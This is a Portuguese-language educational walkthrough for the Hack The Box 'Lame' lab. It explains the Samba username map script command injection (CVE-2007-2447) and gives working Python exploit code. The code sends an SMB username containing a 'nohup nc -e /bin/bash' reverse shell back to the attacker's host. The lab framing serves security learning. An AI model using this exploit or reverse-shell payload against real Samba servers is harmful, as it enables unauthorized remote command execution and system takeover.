
Implementação educacional de exploit para a vulnerabilidade de execução de comandos no script de mapeamento de nome de usuário do Samba 3.0.20-3.0.25rc (CVE-2007-2447) com payload do cliente SMB em Python e reverse shell com netcat.
Exploit original: https://www.exploit-db.com/exploits/16320
Nome do exploit: Samba username map script RCE
CVE: 2007-2447
Lab: Lame - HackTheBox
Existe uma vulnerabilidade nas versões do Samba anteriores à 3.0.25 que permite a um atacante executar comandos do sistema enviando uma requisição malformada como nome de usuário ao servidor SMB.
Aqui está um exemplo de uso do comando nohup para criar um diretório:

Falando programaticamente, /= significa operador de divisão e atribuição, geralmente usado em loops. Mas por que precisamos usá-lo aqui?
A razão para usar isso é dividir o campo de domínio e o campo de nome de usuário ao enviar a requisição; uma explicação melhor pode ser encontrada aqui.
Usamos o campo de nome de usuário para abrir uma conexão netcat e conectar ao nosso servidor.
Escrever o exploit é muito fácil porque já existe uma biblioteca de Cliente SMB disponível para Python (instale o pacote python3-samba), então tudo que você precisa fazer é usá-la assim:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Vamos entender como SMBConnection funciona; eu forneci o username, mas quais são as outras três strings vazias?
Esses outros três argumentos são: password, my_name e remote_name
Para tornar nosso exploit mais legível, podemos escrevê-los explicitamente com seus valores, mas os valores dos argumentos após username não são necessários:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
A parte seguinte é mais fácil de entender: usamos a instância da classe SMBConnection para fazer uma conexão e fornecemos o IP do alvo, a porta e um número de timeout em segundos:
conn.connect(rhost, rport, timeout=10)
Nesta sessão de desenvolvimento de exploits, você aprendeu sobre criar um cliente SMB e conectar a um servidor SMB. Você também aprendeu sobre comandos Linux como nohup, com os quais poderá experimentar mais tarde. Você aprendeu sobre se conectar à sua máquina atacante a partir da máquina vítima usando netcat, algo que pode ser útil em sua jornada de desenvolvimento de exploits.